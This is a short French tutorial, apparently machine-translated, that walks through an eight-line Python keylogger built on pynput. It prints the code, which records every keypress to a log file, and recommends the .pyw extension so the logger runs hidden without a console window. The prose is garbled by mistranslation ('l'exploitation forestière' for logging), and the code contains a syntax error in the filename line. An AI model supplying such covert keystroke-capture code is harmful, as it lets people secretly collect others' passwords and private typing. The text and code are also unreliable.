Simple comme bonjour: la Construction d'une Simple Enregistreur de frappe en Python
par des touches
Ce petit article va vous montrer comment créer rapidement et facilement un petit et très simple Enregistreur de frappe en Python. Ce Enregistreur de frappe sera composé de huit lignes de code mais ça marche!
Pour notre Enregistreur de frappe, nous allons utiliser une bibliothèque python appelé pynput (vous pouvez le trouver ici: https://github.com/moses-palmer/pynput). L'installer à l'aide du pep gestionnaire de paquets.
Créer un fichier, le nom Enregistreur de frappe.pyw, lancez un éditeur de texte - et nous allons commencer à créer le Enregistreur de frappe.
from pynput.keyboard import Key, Listener
import logging
logdir = ""
logging.basicConfig(filename = (logdir"logfile.txt"),level = logging.DEBUG, format = '%(asctime)s : %(message)s')
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
C'est tout. Seulement huit lignes. Voici ce que chaque ligne est de:
Le premier est tout au sujet de l'importation de paquets (dans notre cas - pynput) et l'exploitation forestière, de sorte que chaque clé sera connecté lorsqu'il est pressé.
Ensuite, nous avons besoin d'un répertoire de journalisation, qui dans ce cas est vide (mais vous pouvez spécifier votre propre), il est situé dans le même répertoire que le script.
La ligne suivante traite avec la configuration de journalisation, dans lequel le code est auto-explicatif. Le basicConfig() la méthode prend en compte trois paramètres, dont l'un est un nom de fichier. Après cela, nous avons une clé, appuyer sur méthode d'écouteur – il va ouvrir une session la touche en question après qu'il a été pressé. Ainsi, chaque frappe sera connecté.
Comme vous l'avez probablement remarqué, nous avons enregistré le fichier source avec un .pyw extension plutôt que .py un. La raison en est que, dans ce cas, le Enregistreur de frappe peut s'exécuter à l'arrière-plan, parce que le code dans .pyw peut être exécuté sans la création d'une fenêtre de console. Il suffit d'exécuter le code, appuyer sur certaines touches au hasard et assurez-vous que toutes ces clés étant connecté sur le fichier que vous avez spécifié. Cela signifie que vous venez de créer un Enregistreur de frappe en Python, composé de 8 lignes de code!
Date de publication: